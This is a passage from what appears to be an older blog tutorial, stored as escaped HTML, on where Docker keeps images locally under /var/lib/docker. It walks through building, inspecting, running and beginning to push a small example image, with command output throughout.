&lt;code&gt;ubuntu&lt;/code&gt;). The username is very important to handle separately, because it&#39;s used for authentication by the &lt;em&gt;index&lt;/em&gt;, so that part of the repository name has its own semantics separate from the name, when it&#39;s there.&lt;/p&gt;&#xA;&lt;h2 id=&#34;local-storage-on-the-docker-host&#34;&gt;Local Storage on the Docker Host&lt;/h2&gt;&#xA;&lt;p&gt;So far I&#39;ve been explaining the intricacies of remote storage, and how that relates to the confusing vocabulary, but running &lt;code&gt;docker images&lt;/code&gt; shows you only what is local to your machine.&lt;/p&gt;&#xA;&lt;p&gt;Where is this stuff? The first place to look is in &lt;code&gt;/var/lib/docker/&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Open up the file &lt;code&gt;repositories&lt;/code&gt; to find a JSON list of the repositories on your host:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo cat /var/lib/docker/repositories | python -mjson.tool&#xA;{&#xA;    &amp;quot;Repositories&amp;quot;: {&#xA;        &amp;quot;ubuntu&amp;quot;: {&#xA;            &amp;quot;12.04&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;,&#xA;            &amp;quot;12.10&amp;quot;: &amp;quot;b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc&amp;quot;,&#xA;            &amp;quot;latest&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;,&#xA;            &amp;quot;precise&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;,&#xA;            &amp;quot;quantal&amp;quot;: &amp;quot;b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc&amp;quot;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Hey, that matches the output from &lt;code&gt;docker images&lt;/code&gt;!&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE&#xA;ubuntu              12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;ubuntu              quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Checkout what&#39;s in &lt;code&gt;/var/lib/docker/graph/&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo ls -al /var/lib/docker/graph&#xA;total 24&#xA;drwx------ 6 root root 4096 Nov 22 06:52 .&#xA;drwx------ 5 root root 4096 Dec 13 04:25 ..&#xA;drwxr-xr-x 3 root root 4096 Dec 13 04:26 27cf784147099545&#xA;drwxr-xr-x 3 root root 4096 Nov 22 06:52 8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&#xA;drwxr-xr-x 3 root root 4096 Nov 22 06:52 b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc&#xA;drwx------ 3 root root 4096 Nov 22 06:52 _tmp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Not terribly friendly, but we can see how Docker is keeping track of these, based on the &lt;code&gt;repositories&lt;/code&gt; JSON file which holds a mapping of repository names and tags, to the underlying image GUIDs.&lt;/p&gt;&#xA;&lt;p&gt;We have two images from the &lt;code&gt;ubuntu&lt;/code&gt; repository, with the tags &lt;strong&gt;12.04&lt;/strong&gt;, &lt;strong&gt;precise&lt;/strong&gt;, and &lt;strong&gt;latest&lt;/strong&gt; all corresponding to the image with id &lt;code&gt;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&lt;/code&gt; (or &lt;code&gt;8dbd9e392a96&lt;/code&gt; for short).&lt;/p&gt;&#xA;&lt;p&gt;So what&#39;s actually stored there?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo ls -al /var/lib/docker/graph/8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&#xA;total 20&#xA;drwxr-xr-x  3 root root 4096 Nov 22 06:52 .&#xA;drwx------  6 root root 4096 Nov 22 06:52 ..&#xA;-rw-------  1 root root  437 Nov 22 06:51 json&#xA;drwxr-xr-x 22 root root 4096 Apr 11  2013 layer&#xA;-rw-------  1 root root    9 Nov 22 06:52 layersize&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The entries here are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;json&lt;/code&gt; - holds metadata about the image&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;layersize&lt;/code&gt; - just a number, indicating the size of the layer&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;layer/&lt;/code&gt; - sub-directory that holds the rootfs for the container image&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo cat /var/lib/docker/graph/8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c/json | python -mjson.tool&#xA;{&#xA;    &amp;quot;comment&amp;quot;: &amp;quot;Imported from -&amp;quot;,&#xA;    &amp;quot;container_config&amp;quot;: {&#xA;        &amp;quot;AttachStderr&amp;quot;: false,&#xA;        &amp;quot;AttachStdin&amp;quot;: false,&#xA;        &amp;quot;AttachStdout&amp;quot;: false,&#xA;        &amp;quot;Cmd&amp;quot;: null,&#xA;        &amp;quot;Env&amp;quot;: null,&#xA;        &amp;quot;Hostname&amp;quot;: &amp;quot;&amp;quot;,&#xA;        &amp;quot;Image&amp;quot;: &amp;quot;&amp;quot;,&#xA;        &amp;quot;Memory&amp;quot;: 0,&#xA;        &amp;quot;MemorySwap&amp;quot;: 0,&#xA;        &amp;quot;OpenStdin&amp;quot;: false,&#xA;        &amp;quot;PortSpecs&amp;quot;: null,&#xA;        &amp;quot;StdinOnce&amp;quot;: false,&#xA;        &amp;quot;Tty&amp;quot;: false,&#xA;        &amp;quot;User&amp;quot;: &amp;quot;&amp;quot;&#xA;    },&#xA;    &amp;quot;created&amp;quot;: &amp;quot;2013-04-11T14:13:15.57812-07:00&amp;quot;,&#xA;    &amp;quot;docker_version&amp;quot;: &amp;quot;0.1.4&amp;quot;,&#xA;    &amp;quot;id&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;&#xA;}&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo cat /var/lib/docker/graph/8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c/layersize&#xA;131301903&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo ls -al /var/lib/docker/graph/8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c/layer&#xA;total 88&#xA;drwxr-xr-x 22 root root 4096 Apr 11  2013 .&#xA;drwxr-xr-x  3 root root 4096 Nov 22 06:52 ..&#xA;drwxr-xr-x  2 root root 4096 Apr 11  2013 bin&#xA;drwxr-xr-x  2 root root 4096 Apr 19  2012 boot&#xA;drwxr-xr-x  4 root root 4096 Nov 22 06:51 dev&#xA;drwxr-xr-x 41 root root 4096 Nov 22 06:51 etc&#xA;drwxr-xr-x  2 root root 4096 Apr 19  2012 home&#xA;drwxr-xr-x 11 root root 4096 Nov 22 06:51 lib&#xA;drwxr-xr-x  2 root root 4096 Nov 22 06:51 lib64&#xA;drwxr-xr-x  2 root root 4096 Apr 11  2013 media&#xA;drwxr-xr-x  2 root root 4096 Apr 19  2012 mnt&#xA;drwxr-xr-x  2 root root 4096 Apr 11  2013 opt&#xA;drwxr-xr-x  2 root root 4096 Apr 19  2012 proc&#xA;drwx------  2 root root 4096 Nov 22 06:51 root&#xA;drwxr-xr-x  4 root root 4096 Nov 22 06:51 run&#xA;drwxr-xr-x  2 root root 4096 Nov 22 06:51 sbin&#xA;drwxr-xr-x  2 root root 4096 Mar  5  2012 selinux&#xA;drwxr-xr-x  2 root root 4096 Apr 11  2013 srv&#xA;drwxr-xr-x  2 root root 4096 Apr 14  2012 sys&#xA;drwxrwxrwt  2 root root 4096 Apr 11  2013 tmp&#xA;drwxr-xr-x 10 root root 4096 Nov 22 06:51 usr&#xA;drwxr-xr-x 11 root root 4096 Nov 22 06:51 var&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Pretty easy. This is the magic behind being able to refer to an image by its repository name, even if you&#39;re not interacting with the remote Docker Index or Docker Registry. Once you&#39;ve pulled it down to your workstation, Docker can work with it by name using these files. This is also where things go when you&#39;re developing a new Dockerfile.&lt;/p&gt;&#xA;&lt;h2 id=&#34;diy-dockerfiles&#34;&gt;DIY Dockerfiles&lt;/h2&gt;&#xA;&lt;p&gt;Let&#39;s try an example. Make a &lt;code&gt;Dockerfile&lt;/code&gt; with the following contents:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;FROM ubuntu&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This basically doesn&#39;t do anything except say that we&#39;re including the &lt;code&gt;ubuntu&lt;/code&gt; image as our base layer, but that&#39;s enough to get started.&lt;/p&gt;&#xA;&lt;p&gt;Next, run &lt;code&gt;docker build -t scooby_snacks .&lt;/code&gt;. What that will do is look in the directory we specified (&lt;code&gt;.&lt;/code&gt;) for a file called &lt;code&gt;Dockerfile&lt;/code&gt; and then build it, and use the name &lt;code&gt;scooby_snacks&lt;/code&gt; for the repository.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker build -t scooby_snacks .&#xA;Uploading context 64184320 bytes&#xA;Step 1 : FROM ubuntu&#xA; ---&amp;gt; 8dbd9e392a96&#xA;Successfully built 8dbd9e392a96&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Oh no! It said &lt;em&gt;&amp;quot;Uploading context&amp;quot;&lt;/em&gt;... Did we just upload it to the public registry?&lt;/p&gt;&#xA;&lt;p&gt;Let&#39;s check:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker search scooby_snacks&#xA;NAME      DESCRIPTION   STARS     OFFICIAL   TRUSTED&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Whew! Not there. So why did it say that?&lt;/p&gt;&#xA;&lt;p&gt;I have no idea, but you can ignore it. Where did it really end up?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo cat /var/lib/docker/repositories | python -mjson.tool&#xA;{&#xA;    &amp;quot;Repositories&amp;quot;: {&#xA;        &amp;quot;scooby_snacks&amp;quot;: {&#xA;            &amp;quot;latest&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;&#xA;        },&#xA;        &amp;quot;ubuntu&amp;quot;: {&#xA;            &amp;quot;12.04&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;,&#xA;            &amp;quot;12.10&amp;quot;: &amp;quot;b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc&amp;quot;,&#xA;            &amp;quot;latest&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;,&#xA;            &amp;quot;precise&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;,&#xA;            &amp;quot;quantal&amp;quot;: &amp;quot;b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc&amp;quot;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Well, looks like Docker just &lt;em&gt;&amp;quot;uploaded&amp;quot;&lt;/em&gt; it to &lt;code&gt;/var/lib/docker&lt;/code&gt;. :)&lt;/p&gt;&#xA;&lt;p&gt;It should also show up in &lt;code&gt;docker images&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker images&#xA;REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE&#xA;ubuntu              12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;scooby_snacks       latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;ubuntu              quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There it is! Docker was smart enough to realize that we didn&#39;t change anything, so it kept the same image id, and didn&#39;t bother copying the &lt;code&gt;ubuntu&lt;/code&gt; image. Pretty sweet.&lt;/p&gt;&#xA;&lt;p&gt;Next, we&#39;ll make a small change so that Docker will have to build a new layer.&lt;/p&gt;&#xA;&lt;p&gt;Edit &lt;code&gt;Dockerfile&lt;/code&gt; to have these contents:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;FROM ubuntu&#xA;&#xA;RUN touch scooby_snacks.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then run  &lt;code&gt;docker build -t scooby_snacks .&lt;/code&gt; to rebuild.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker build -t scooby_snacks .&#xA;Uploading context 64184320 bytes&#xA;Step 1 : FROM ubuntu&#xA; ---&amp;gt; 8dbd9e392a96&#xA;Step 2 : RUN touch scooby_snacks.txt&#xA; ---&amp;gt; Running in 86664242766c&#xA; ---&amp;gt; 91acef3a5936&#xA;Successfully built 91acef3a5936&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There should be a new directory under &lt;code&gt;/var/lib/docker/graph&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo ls -al /var/lib/docker/graph&#xA;total 28&#xA;drwx------ 7 root root 4096 Dec 13 06:27 .&#xA;drwx------ 5 root root 4096 Dec 13 06:27 ..&#xA;drwxr-xr-x 3 root root 4096 Dec 13 04:26 27cf784147099545&#xA;drwxr-xr-x 3 root root 4096 Nov 22 06:52 8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&#xA;drwxr-xr-x 3 root root 4096 Dec 13 06:27 91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9&#xA;drwxr-xr-x 3 root root 4096 Nov 22 06:52 b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc&#xA;drwx------ 3 root root 4096 Dec 13 06:27 _tmp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Docker gave it a new image ID:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;It has also been updated in &lt;code&gt;/var/lib/docker/repositories&lt;/code&gt; and &lt;code&gt;docker images&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo cat /var/lib/docker/repositories | python -mjson.tool&#xA;{&#xA;    &amp;quot;Repositories&amp;quot;: {&#xA;        &amp;quot;scooby_snacks&amp;quot;: {&#xA;            &amp;quot;latest&amp;quot;: &amp;quot;91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9&amp;quot;&#xA;        },&#xA;        &amp;quot;ubuntu&amp;quot;: {&#xA;            &amp;quot;12.04&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;,&#xA;            &amp;quot;12.10&amp;quot;: &amp;quot;b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc&amp;quot;,&#xA;            &amp;quot;latest&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;,&#xA;            &amp;quot;precise&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;,&#xA;            &amp;quot;quantal&amp;quot;: &amp;quot;b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc&amp;quot;&#xA;        }&#xA;    }&#xA;}&#xA;$ docker images&#xA;REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE&#xA;scooby_snacks       latest              91acef3a5936        5 minutes ago       12.29 kB (virtual 131.3 MB)&#xA;ubuntu              12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;ubuntu              quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Let&#39;s see what &lt;code&gt;/var/lib/docker/graph/91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9&lt;/code&gt; looks like now:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo cat /var/lib/docker/graph/91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9/json | python -mjson.tool&#xA;{&#xA;    &amp;quot;Size&amp;quot;: 0,&#xA;    &amp;quot;architecture&amp;quot;: &amp;quot;x86_64&amp;quot;,&#xA;    &amp;quot;config&amp;quot;: {&#xA;        &amp;quot;AttachStderr&amp;quot;: false,&#xA;        &amp;quot;AttachStdin&amp;quot;: false,&#xA;        &amp;quot;AttachStdout&amp;quot;: false,&#xA;        &amp;quot;Cmd&amp;quot;: null,&#xA;        &amp;quot;CpuShares&amp;quot;: 0,&#xA;        &amp;quot;Dns&amp;quot;: null,&#xA;        &amp;quot;Domainname&amp;quot;: &amp;quot;&amp;quot;,&#xA;        &amp;quot;Entrypoint&amp;quot;: [],&#xA;        &amp;quot;Env&amp;quot;: [&#xA;            &amp;quot;HOME=/&amp;quot;,&#xA;            &amp;quot;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&amp;quot;&#xA;        ],&#xA;        &amp;quot;ExposedPorts&amp;quot;: {},&#xA;        &amp;quot;Hostname&amp;quot;: &amp;quot;86664242766c&amp;quot;,&#xA;        &amp;quot;Image&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;,&#xA;        &amp;quot;Memory&amp;quot;: 0,&#xA;        &amp;quot;MemorySwap&amp;quot;: 0,&#xA;        &amp;quot;NetworkDisabled&amp;quot;: false,&#xA;        &amp;quot;OpenStdin&amp;quot;: false,&#xA;        &amp;quot;PortSpecs&amp;quot;: null,&#xA;        &amp;quot;StdinOnce&amp;quot;: false,&#xA;        &amp;quot;Tty&amp;quot;: false,&#xA;        &amp;quot;User&amp;quot;: &amp;quot;&amp;quot;,&#xA;        &amp;quot;Volumes&amp;quot;: {},&#xA;        &amp;quot;VolumesFrom&amp;quot;: &amp;quot;&amp;quot;,&#xA;        &amp;quot;WorkingDir&amp;quot;: &amp;quot;&amp;quot;&#xA;    },&#xA;    &amp;quot;container&amp;quot;: &amp;quot;86664242766c5548f8118716e873835c171811176a710e425c1fcf1fa367b505&amp;quot;,&#xA;    &amp;quot;container_config&amp;quot;: {&#xA;        &amp;quot;AttachStderr&amp;quot;: false,&#xA;        &amp;quot;AttachStdin&amp;quot;: false,&#xA;        &amp;quot;AttachStdout&amp;quot;: false,&#xA;        &amp;quot;Cmd&amp;quot;: [&#xA;            &amp;quot;/bin/sh&amp;quot;,&#xA;            &amp;quot;-c&amp;quot;,&#xA;            &amp;quot;touch scooby_snacks.txt&amp;quot;&#xA;        ],&#xA;        &amp;quot;CpuShares&amp;quot;: 0,&#xA;        &amp;quot;Dns&amp;quot;: null,&#xA;        &amp;quot;Domainname&amp;quot;: &amp;quot;&amp;quot;,&#xA;        &amp;quot;Entrypoint&amp;quot;: [],&#xA;        &amp;quot;Env&amp;quot;: [&#xA;            &amp;quot;HOME=/&amp;quot;,&#xA;            &amp;quot;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&amp;quot;&#xA;        ],&#xA;        &amp;quot;ExposedPorts&amp;quot;: {},&#xA;        &amp;quot;Hostname&amp;quot;: &amp;quot;86664242766c&amp;quot;,&#xA;        &amp;quot;Image&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;,&#xA;        &amp;quot;Memory&amp;quot;: 0,&#xA;        &amp;quot;MemorySwap&amp;quot;: 0,&#xA;        &amp;quot;NetworkDisabled&amp;quot;: false,&#xA;        &amp;quot;OpenStdin&amp;quot;: false,&#xA;        &amp;quot;PortSpecs&amp;quot;: null,&#xA;        &amp;quot;StdinOnce&amp;quot;: false,&#xA;        &amp;quot;Tty&amp;quot;: false,&#xA;        &amp;quot;User&amp;quot;: &amp;quot;&amp;quot;,&#xA;        &amp;quot;Volumes&amp;quot;: {},&#xA;        &amp;quot;VolumesFrom&amp;quot;: &amp;quot;&amp;quot;,&#xA;        &amp;quot;WorkingDir&amp;quot;: &amp;quot;&amp;quot;&#xA;    },&#xA;    &amp;quot;created&amp;quot;: &amp;quot;2013-12-13T06:27:03.234029255Z&amp;quot;,&#xA;    &amp;quot;docker_version&amp;quot;: &amp;quot;0.6.7&amp;quot;,&#xA;    &amp;quot;id&amp;quot;: &amp;quot;91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9&amp;quot;,&#xA;    &amp;quot;parent&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo cat /var/lib/docker/graph/91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9/layersize&#xA;12288&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo ls -al /var/lib/docker/graph/91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9/layer&#xA;total 16&#xA;drwxr-xr-x 4 root root 4096 Dec 13 06:27 .&#xA;drwxr-xr-x 3 root root 4096 Dec 13 06:27 ..&#xA;-rw-r--r-- 1 root root    0 Dec 13 06:27 scooby_snacks.txt&#xA;-r--r--r-- 1 root root    0 Dec 13 06:27 .wh..wh.aufs&#xA;drwx------ 2 root root 4096 Dec 13 06:27 .wh..wh.orph&#xA;drwx------ 2 root root 4096 Dec 13 06:27 .wh..wh.plnk&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Our tiny change had a big impact! Notice that Docker only kept the &lt;em&gt;differences&lt;/em&gt; from the base image. This is the key to the &lt;em&gt;layer&lt;/em&gt; concept.&lt;/p&gt;&#xA;&lt;h3 id=&#34;run-it&#34;&gt;Run it!&lt;/h3&gt;&#xA;&lt;p&gt;We can now run our new image and try it out. We&#39;ll just run an interactive &lt;code&gt;bash&lt;/code&gt; prompt for now.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker run -i -t scooby_snacks /bin/bash&#xA;root@1f8602a7d589:/# ls -al&#xA;total 12308&#xA;drwxr-xr-x  30 root root     4096 Dec 13 06:43 .&#xA;drwxr-xr-x  30 root root     4096 Dec 13 06:43 ..&#xA;-rw-------   1 root root      208 Dec 13 06:43 .dockerenv&#xA;-rwxr-xr-x   1 root root 12516574 Nov 22 02:34 .dockerinit&#xA;drwxr-xr-x   2 root root     4096 Apr 11  2013 bin&#xA;drwxr-xr-x   2 root root     4096 Apr 19  2012 boot&#xA;drwxr-xr-x   6 root root     4096 Nov 22 06:52 dev&#xA;drwxr-xr-x  41 root root     4096 Nov 22 06:52 etc&#xA;drwxr-xr-x   2 root root     4096 Apr 19  2012 home&#xA;drwxr-xr-x  11 root root     4096 Nov 22 06:51 lib&#xA;drwxr-xr-x   2 root root     4096 Nov 22 06:51 lib64&#xA;drwxr-xr-x   2 root root     4096 Apr 11  2013 media&#xA;drwxr-xr-x   2 root root     4096 Apr 19  2012 mnt&#xA;drwxr-xr-x   2 root root     4096 Apr 11  2013 opt&#xA;dr-xr-xr-x 102 root root        0 Dec 13 06:43 proc&#xA;drwx------   2 root root     4096 Nov 22 06:51 root&#xA;drwxr-xr-x   4 root root     4096 Nov 22 06:51 run&#xA;drwxr-xr-x   2 root root     4096 Nov 22 06:51 sbin&#xA;-rw-r--r--   1 root root        0 Dec 13 06:27 scooby_snacks.txt&#xA;drwxr-xr-x   2 root root     4096 Mar  5  2012 selinux&#xA;drwxr-xr-x   2 root root     4096 Apr 11  2013 srv&#xA;dr-xr-xr-x  13 root root        0 Dec 13 06:43 sys&#xA;drwxrwxrwt   2 root root     4096 Apr 11  2013 tmp&#xA;drwxr-xr-x  10 root root     4096 Nov 22 06:51 usr&#xA;drwxr-xr-x  11 root root     4096 Nov 22 06:51 var&#xA;root@1f8602a7d589:/#&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The effects of our &lt;code&gt;RUN touch scooby_snacks.txt&lt;/code&gt; command in the &lt;code&gt;Dockerfile&lt;/code&gt; are exactly as expected.&lt;/p&gt;&#xA;&lt;h3 id=&#34;publish-it&#34;&gt;Publish it!&lt;/h3&gt;&#xA;&lt;p&gt;Until now, we&#39;ve been doing everything locally and not interacting with the outside world at all. This is great, we can work up a perfect &lt;code&gt;Dockerfile&lt;/code&gt; before we go live. That said, I&#39;m pretty happy with this one now, and I&#39;m ready to publish it.&lt;/p&gt;&#xA;&lt;p&gt;If you haven&#39;t already, make sure you &lt;a href=&#34;https://index.docker.io/account/signup/&#34;&gt;make an account&lt;/a&gt;, and then login with &lt;code&gt;docker login&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker login&#xA;Username: thoward&#xA;Password:&#xA;Email: thoward37@gmail.com&#xA;Login Succeeded&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Publish the image with &lt;code&gt;docker push scooby_snacks&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker push scooby_snacks&#xA;2013/12/13 06:49:36 Impossible to push a &amp;quot;root&amp;quot; repository. Please rename your repository in &amp;lt;user&amp;gt;/&amp;lt;repo&amp;gt; (ex: thoward/scooby_snacks)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Oops. Docker Index won&#39;t let us publish without our username in the repository name. No big deal.&lt;/p&gt;&#xA;&lt;p&gt;Rebuild this with the correct username using &lt;code&gt;docker build -t thoward/scooby_snacks .&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker build -t thoward/scooby_snacks .&#xA;Uploading context 64184320 bytes&#xA;Step 1 : FROM ubuntu&#xA; ---&amp;gt; 8dbd9e392a96&#xA;Step 2 : RUN touch scooby_snacks.txt&#xA; ---&amp;gt; Using cache&#xA; ---&amp;gt; 91acef3a5936&#xA;Successfully built 91acef3a5936&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Nice! The message &lt;em&gt;&amp;quot;Using cache&amp;quot;&lt;/em&gt; means Docker was smart enough to know that we didn&#39;t really change the image, so it didn&#39;t bother rebuilding it.&lt;/p&gt;&#xA;&lt;p&gt;Let&#39;s try publishing again, but this time with the correct repository name:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker push thoward/scooby_snacks&#xA;The push refers to a repository [thoward/scooby_snacks] (len: 1)&#xA;Sending image list&#xA;Pushing repository thoward/scooby_snacks (1 tags)&#xA;Pushing 8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&#xA;Image 8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c already pushed, skipping&#xA;Pushing tags for rev [8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c] on {https://registry-1.docker.io/v1/repositories/thoward/scooby_snacks/tags/latest}&#xA;Pushing 91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9&#xA;&#xA;&#xA;Pushing tags for rev [91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9] on 